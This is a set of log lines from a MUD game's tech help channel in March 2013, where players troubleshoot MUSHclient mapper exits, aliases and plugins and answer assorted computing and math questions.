T3/r7/2013-03-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: like removing system32 from a windows computer!
T3/r7/2013-03-05.txt.gz:{chan ch=tech}WildWolfie Tech: Lolz
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: i'm curious why you need time to use windows?
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Ranrr Tech: Because I need to work, and that takes more time on windows.
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I find development to be exponentially slower on Doze.
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Xantcha Tech: I asked my computer to sudo make me a sandwich and it just looked at me dumbly... stupid Windows
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Tech: Big Meaty Cheezburger snickers with Xantcha about their shared secret.
T3/r7/2013-03-05.txt.gz:{chan ch=tech}WildWolfie Tech: Yeah windows is stupid like that
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Ass Grr, he usually has one in his head.
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Tech: Ylar snickers with Xantcha about their shared secret.
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Ask* Grr
T3/r7/2013-03-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: cheez do you know the best way to convert time to minutes? i have my time in epoch, so if i convert to a readable format, i cant convert that to minutes, unless i want a shit ton of checks for how many days were in the past month
T3/r7/2013-03-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: tech = ft =/ lol
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Medieval Jameson Tech: what does it mean when a certificate is invalid?
T3/r7/2013-03-05.txt.gz:{chan ch=tech}HelperMan Hadar Tech: ~=*
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Medieval Jameson Tech: any ideas?
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Riddim Tech: the creator of the certificate is not a known/trusted source, such as digicert
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Riddim Tech: or it's self-signed
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Medieval Jameson Tech: it doesn't trust aard or facebook
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: so my mf * alias isn't working how i expected it to
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: if i type mf at the crossroads, it only searches mf at
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: What's your match string?
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: mf * -> mapper find %1
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: try ^mf (.*?)$$ mapper find %1
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: after looking at it a little closer, it's actually searching the space
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: well, only one $, i double tapped
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: that's much better
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: what's the period before the wildcard doing?
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: . means anychar, the * means 0 or infinite occurances
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: and the ?
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: makes it less greedy
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Scars Tech: thanks cheez
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: no worries
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Zimzar Tech: how do i stop my backspace key from acting weird?
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Hanslanda Tech: define weird
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Dfury Tech: i suggest setting it on fire
T3/r7/2013-03-05.txt.gz:{chan ch=tech}Turie Tech: Ask Dfury to how to make D fury on it.
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Kev Tech: does anyone know Powershell that well on here :)
T3/r7/2013-03-06.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: what is the smalest wow file you can get? that you can stil play wow with?
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Daloran Tech: ? Are you space limited or something?
T3/r7/2013-03-06.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: space and the and the amount of data i have :P
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Daloran Tech: Ah. Both  will be quite limiting.. wow continues to download until you have everything, and it is current, not something you want to do with limited space/bandwidth
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Daloran Tech: even the original install was on 4 cds.. which would put it at 2.8gb, before being decompressed
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Daloran Tech: if bandwidth is an issue id try and find a DVD copy of the trial installer... but might be kind of hard to find these days
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Jaenelle Tech: and even that will probably update itself using up lots of bandwidth. Even playing uses up bandwidth and data.
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Daloran Tech: Not as much data to play, its mostly going to be patching
T3/r7/2013-03-06.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: thanks :) guess i cant play then  :)
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Daloran Tech: youve been told as much before, saber
T3/r7/2013-03-06.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: no...
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Jaenelle Tech: I'd not try playing wow on any sort of data limited connection or space limited computer. (yes yes, theoretically all computers are limited in their space, but you know what I mean)
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Daloran Tech: shrug. we've had nearly identically this conversation before saber
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Daloran Tech: not that it matters I suppose.
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Skgubza Tech: how to choose a default operating system to run at startup in windows 8, I did a dual boot?
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Riddim Tech: depends on the boot loader
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Skgubza Tech: boot loader is windows 7, so I need to change it to be windows
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Skgubza Tech: windows 8
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Riddim Tech: Sorry for the long-response
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Riddim Tech: Windows 7 isn't a boot loader, it's another OS. You may want to check your BIOS, to see if you can set which HD you boot fromfirst. There is also something called "BOOTMGR" that Microsoft uses for Vista/7/8 that may be what you want.
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Skgubza Tech: oops sorry, was trying to say "how can I change the windows 7 boot manager" need to make windows 8 as the default boot manager
T3/r7/2013-03-06.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: win 7 and win 8 are Opperating systems not boot managers i thought
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Skgubza Tech: I did a multi boot system, so i need know how to choose a default Os to run at startup automatically
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Vakieh Tech: I have a little formula, n^2 - n = 90. I know the answer is 10 just by looking at it, but I cannot for the life of me remember how to determine that algebraically - any ideas?
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Velian Tech: n^2-n-90=0 (n-10)(n+9)=0
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Velian Tech: n=10 or n=-9
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Ullin Tech: see http://en.wikipedia.org/wiki/Quadratic_equation
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Velian Tech: or graph it and go for the numbers where it passes the x axis
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Ullin Tech: for the solutions
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Ullin Tech: solution is closed form 
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Vakieh Tech: Oh god damn it :-) I know the quadratic formula, but I never see places to apply it unless the = 0 is shoved in my face. Thanks, all. Dealing with positive integers only (permutations) so no need for the -9.
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Velian Tech: negatives need love too...
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Ullin Tech: we're alll getting old... I admit I couldn't write it down by hard anymore...:)
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Ullin Tech: fortunately now there's wikipedia :)
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Vakieh Tech: I made the mistake of not doing any maths after high school... now postgrad and everything is so rusty
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Velian Tech: tech i went to college and got a degree in math.
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Velian Tech: still not sure why
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Velian Tech: but i did!
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Vakieh Tech: Postgrad for Technology(CS), so mine is like a maths degree where I get to ignore several branches of maths :-P
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Ullin Tech: do you happen to know anything about wordpress theme frameworks btw?
T3/r7/2013-03-06.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Wouldn't it be difficult to integrate, Vakieh then?
T3/r7/2013-03-06.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: then, Vakieh* :P
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Vakieh Tech: Integrating what now?
T3/r7/2013-03-06.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Just ask, Ullin.
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Vakieh Tech: Not big on wordpress myself, no :-( All the websites I've made have been by hand. Useful, usually, but ugly as hell - I am no graphic designer :-P
T3/r7/2013-03-06.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Yup, useful to be able to know how to code stuff by hand, I agree.
T3/r7/2013-03-06.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: But what about Wordpress theme frameworks?
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Ullin Tech: shopping for a wordpress theme framework, being a complete newbie at CSS (And not intending to learn) pagelines look really ideal since looks like you can change all boxes etc in a visual editor...anyone tried it or has better recommendation?
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Vakieh Tech: Currently attempting to learn Drupal in my spare time (lol...spare)
T3/r7/2013-03-06.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Not tried that, Ullin, sorry.
T3/r7/2013-03-06.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: But at least people who might have know what you want now.
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Ullin Tech: which one did you try/use?
T3/r7/2013-03-06.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: It's usually better to just ask the question.
T3/r7/2013-03-06.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I haven't gone far enough with Wordpress, I use stock themes and tinkered a bit with a built-from-scratch theme someone else developed.
T3/r7/2013-03-06.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: But I'm not sure about a framework to make themes.
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Rodarn Tech: so i accidently moved one of my plugin windows off the screen, is there a way for me to bring it back,i can see half of it but no handle to drag
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: reinstall?
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Getsuko Tech: anyone get error on upbutton errors from winkle spellup?
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Endtime Tech: in mush mapper, can i manually change which room of an area is considered the first room? specifically, mapper seems to think first room of land of legend is one of the passenger cars, which is causing trouble because of the buy ticket/board thing
T3/r7/2013-03-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Mush Mapper has not first room settings for an area.  Perhaps you are using Winlk'es plugins?
T3/r7/2013-03-06.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Don't use it, but I think you go to room and so xset mark or something like that?
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Endtime Tech: yeah just barely got it...ok i will try xset
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Endtime Tech: worked like a charm, thanks so much
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Silent Noro Tech: Ok, it's been a while. Before my last break, I was using an accelerator function for a combat spell key. Anyone know what that might have been? (in mushclient, that is)
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: hehe, checking my monthly bandwidth stats. nov 2012 ul/dl total was 1.6TB
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Hanslanda Tech: they gonna throttle you!
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: heh. throttling and caps are unheard of here
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Hanslanda Tech: is there a way to have Mush open a world on startup, but not automatically connect to it?
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Bast Tech: File->Global Preferences then General Tab, top option on left, you can't specify a world, it is either on or off for all worlds
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Hanslanda Tech: guess it must be broke, then.  It's unchecked, but Aard still automatically connects to Aard (without the autoconnect login info, it just sit at the login prompts).  I want Mush to open the world in offline mode.
T3/r7/2013-03-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: the new connection plugin connects on load, iirc
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Vonliege Tech: is there a way to open a second primary output window?
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Vonliege Tech: in mush
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Vonliege Tech: sometimes I wanna leave a list of stuff up for reference.. like inventories
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Vonliege Tech: and this'd be doable if I could have a second output window to scroll in
T3/r7/2013-03-06.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: how about you look into making mini windows then
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Vonliege Tech: yes... a mini window would be nice.
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Daagar Tech: Bast has a really nice inventory display plugin
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Vonliege Tech: like the main window... but smaller
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Daagar Tech: if you want something pre-built
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Vonliege Tech: does it update auto matically?
T3/r7/2013-03-06.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i found the bast one didnt update the inv to well
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Vonliege Tech: ya.. that's why I asked
T3/r7/2013-03-06.txt.gz:{chan ch=tech}Daagar Tech: Ah, I'm pretty noobish with it, so don't know its quirks
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Getsuko Tech: Anyone use WinkleWinkle's spellup as a ranger?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Lesphare Tech: I do.
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Cast Abradix Tech: Ayup.
T3/r7/2013-03-07.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i use it as a mage
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Getsuko Tech: It doesn't seem to re-cast gaia for me, does it for you?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Lesphare Tech: It doesn't, but I think that's due to the cooldown.
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Getsuko Tech: I briefly looked at the plugin and it seems like it should handle recoveries, but doesn't seem to for me either
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Riddim Tech: It doesn't cast spells (besides a single clan skill) that aren't included in spellup, afaik
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Riddim Tech: Idk if gaia is included in spellup, but I know quickstab isn't, for example
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Lesphare Tech: Gaia is in spellup.
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Riddim Tech: Oh, ignore me.
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Riddim Tech: and send a note to winkle!
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Jhav Tech: Gaias Revenge IS, Gaias Focus is not
T3/r7/2013-03-07.txt.gz:{chan ch=tech}The Slithy Toves Tech: I had to install the bast spellup
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Getsuko Tech: Right, I'm talking about Gaia's Revenge
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Getsuko Tech: By the way, you guys should install the pirates plugins so you can use "pirate map" to launch a map of the area you're in.  You get to type pirate map!  http://www.aardpirates.org/plugins.php
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Abunai Tech: so my internet suddenly disconnected me but it says im still connected to the router any ideas?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}RedRain Tech: gremlins!
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: what's folks using for an inventory window?  anything out there?  
T3/r7/2013-03-07.txt.gz:{chan ch=tech}[Outlaw] Electrobite Tech: is there a way to delay the movement from one room to another on mush?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Scars Tech: is this for a custom exit?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}[Outlaw] Electrobite Tech: nope for an exit like kobaloi
T3/r7/2013-03-07.txt.gz:{chan ch=tech}[Outlaw] Electrobite Tech: going up
T3/r7/2013-03-07.txt.gz:{chan ch=tech}ERMAGERD Jilted Tech: anyone around who could help w the aardMUSH client
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Fatal FrostBite Tech: Maybe... what's your issue?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}ERMAGERD Jilted Tech: well before I recognized its power, I managed to deactivate the mapper function
T3/r7/2013-03-07.txt.gz:{chan ch=tech}ERMAGERD Jilted Tech: now that I know what I can do w it, I want it back but I've no idea how to do it
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Fatal FrostBite Tech: what do you see when you type mapper help?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}ERMAGERD Jilted Tech: Sorry Jilted, you can't do that. -or some other mudside error response
T3/r7/2013-03-07.txt.gz:{chan ch=tech}ERMAGERD Jilted Tech: no thoughts?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: do you remember how you deactivated it?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}ERMAGERD Jilted Tech: I don't
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: well, i use mudlet, so let me open up mush and see if i can deactivate it somehow
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: give a min
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: i need to log off here first...brb
T3/r7/2013-03-07.txt.gz:{chan ch=tech}ERMAGERD Jilted Tech: hey I got it
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: lol nice
T3/r7/2013-03-07.txt.gz:{chan ch=tech}ERMAGERD Jilted Tech: thanks for trying to help :)
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: mapper show would have been my first guess
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Tech: Fatal FrostBite nods.
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Fatal FrostBite Tech: How'd you disable it?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: what was it, by the way, just for reference
T3/r7/2013-03-07.txt.gz:{chan ch=tech}ERMAGERD Jilted Tech: FWIW, I went to file->plugins and re-added the GCMP mapper
T3/r7/2013-03-07.txt.gz:{chan ch=tech}ERMAGERD Jilted Tech: I think I actively removed it
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: Ahh
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Tech: Fatal FrostBite comforts ERMAGERD Jilted.
T3/r7/2013-03-07.txt.gz:{chan ch=tech}ERMAGERD Jilted Tech: not just diasbled but removed
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: Ha, good to know for anyone else that this happens to!
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: Ok, back to mudlet :)
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: is there anyway for MUSHClient mapper to open doors without violating policy #7?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Gnarcyon Tech: mapper help cexits
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: ... hmm must not have gotten a help file with that... I get two blue bars with nothing between them.
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: I bet it's available online somewhere
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: imagoing to go look
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Bast Tech: try "mapper help exits" instead, you could have found it by just typing "mapper help"
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Ontuct Tech: and it has to be mapper help not help mapper
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: there we go... was close to finding it online... but this is better.
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: ok.. I can see where that's helpful... but that is for CUSTOM exits... I just wanna open regular doors and gates and such
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: to have it open doors you have to put them in as a cexit
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Ontuct Tech: that is a custom exit ...  mapper open e;e
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: such a huge mental leap for such a mental midget as I... can I say the "M" word?  is that considered harasment here?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Ontuct Tech: I sent you a link in a tell... it explains it quite well
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: that'd be great... always like to understand stuff that I am implimenting
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: sometimes you just wanna make a phone call... other times, you wanna know how to make a phone
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Ontuct Tech: http://www.holgerschurig.de/games/aardmapper.html
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: that's some good reading... thanks
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Ontuct Tech: i have almost 1100 custom exits :p
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Chimeishio Tech: bleh, make me check how many I got and takes forever to list :P
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Ontuct Tech: it is local side not serverside though... I keep finding a lot of them now that i don't have passdoor
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Chimeishio Tech: heh, and I've been deleting some now that I have that wish :P
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: the piece about macroing the command is especially interesting... I think I will like it to the cnrl-numberpad-direction keys.
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: like = link
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: here's another mapper question (ive been reading, so I'm dangerously ignorant) - when entering a custom exit where there are multiple exits available (like in 'Fractured lands') does the mapper look at the destination and determine which custom exit is appropriate?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: of course, same as any normal exit
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Bast Tech: it only goes where you tell it to go, so "mapper cexit enter emerald" would enter the emerald portal and mark the room it ends up in as the destination for that cexit
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: well see... there you go assuming that I even knew THAT much!  :-)
T3/r7/2013-03-07.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: if you're in a room with a north and an east exit, and your destination is north, then it won't go east, it's the same principle
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: I'm going to go eat some dog food, or play with an electrical outlet now... something apprprite to my apparent intelect, or lack there of.
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Rondel Tech: ... those aren't really stupid things though.... if that's what your getting at
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: I'm getting it... I might have been screwing up all my new c exits by not waiting, though.
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: Is anyone using the MAG for mudlet?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: Anyone have a good reference on how to use MUSH JScript scripting?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Bast Tech: why would you want to? jscript takes extra steps to setup. Why not use lua which is built in?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: I use Javascript on a day to day basis, so I thought it would be easier.  AFter reading some stuff though, gonna use Lua, i use it for mudlet anyway, so no big deal.
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: any
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: anyone have issue with their communication log for MUSH not showing chats?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Trachx Tech: first, what version do you use? if it is not the latest one then upgrade (maybe this problem was resolved)
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: Yes, it is the latest one from the site, r1748 i think
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: is what the changelog says
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Trachx Tech: you mean, your communication log is empty, or you don't see some channels ?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: my communication log was completely empty.  I just added the \logs\AardwolfChatLog.txt file and now the 'global quest' popped up in there, but no channels are showing
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: also, after global quest echo to main, i get "Trigger function "untagged_info" not found or had a previous error." in my main
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: i checked and all channels are highlighted via the context menu for comm log window
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Trachx Tech: check whether plugin "Aardwolf_Chat_Capture_Miniwindow" is on
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: yes, all plugins are enabled
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Trachx Tech: this function "untagged_info" is used in 2 plugins: aard_chat_echo.xml and aard_channels_fiendish.xml - try to reinstal that plugins
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: just reinstalled echo one, but no channels one exists
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: so i resinstalled the mini window one and viola
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: so I think we're good here :)  thanks for your help/patience
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Trachx Tech: it would be good if you notify Fiendish about this error when he gets online
T3/r7/2013-03-07.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Or if it's a bug submit on the google code site
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: Okay, I'm not sure if its a bug or not since I was trying to figure out how to show my skills/spells in a window, so i may have done something inadvertently 
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Trachx Tech: if you have not touched that 2 plugins - then probably it is some kind of bug, it you are able to reproduce it then it would be even better 
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Alviryn Tech: alright, i will tell him about it and if I am able to repro in my musings then i can send him that info also
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: in mush, is there a special char that needs to preceed an alias when called from within an alias?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: why is it when I type "compare light", I get a comparison, but when I make an aliase "compl" which sends "compare light", I get "Unknown command. Please check the helpfiles."?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Ontuct Tech: within the client?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: the server returns "Unknown command. Please check the helpfiles."
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: so I would guess that I am sending something other than what I intend
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Tharnin Tech: Is the alias in your client, or using the mud's "alias" command?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: it echos correctly in the mud output window, but the mud don't like it.
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Ontuct Tech: if you are using aardmush aliases.. make sure it is sent to world not execute
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: client-side aliase.. sorry
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Tharnin Tech: Hrm. Turn on 'echocommands' and see what command the mud thinks you're sending?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: I checked that... it's "world"
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: K... BRB
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: that was very enlightening... the server is not seeing the space between "compare", and "light"
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Ontuct Tech: those settings worked fine on aardmush only box clicked up the side was enabled. and send to wor
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Ontuct Tech: those settings worked fine on aardmush only box clicked up the side was enabled. and send to world
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: so my alias sends "compare light", but the server sees "comparelight"
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: I cut and pasted from a spreadsheet... my guess is that there is a hidden <tab> char in there instead of a <space>  all fixed now.... works great
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Tharnin Tech: Sounds possible. Glad you got it working.
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: great suggestion turning on "echocommands"
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Tharnin Tech: I love echocommands. It's saved me so many headaches.
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Vonliege Tech: my objective was a "compare all" alias that would 'brute-force' compare every eq slot with my inventory to see if I might have picked up something good.
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Scars Tech: how do i build in a delay into a custom exit for the mapper?
T3/r7/2013-03-07.txt.gz:{chan ch=tech}Scars Tech: nevermind, i found it
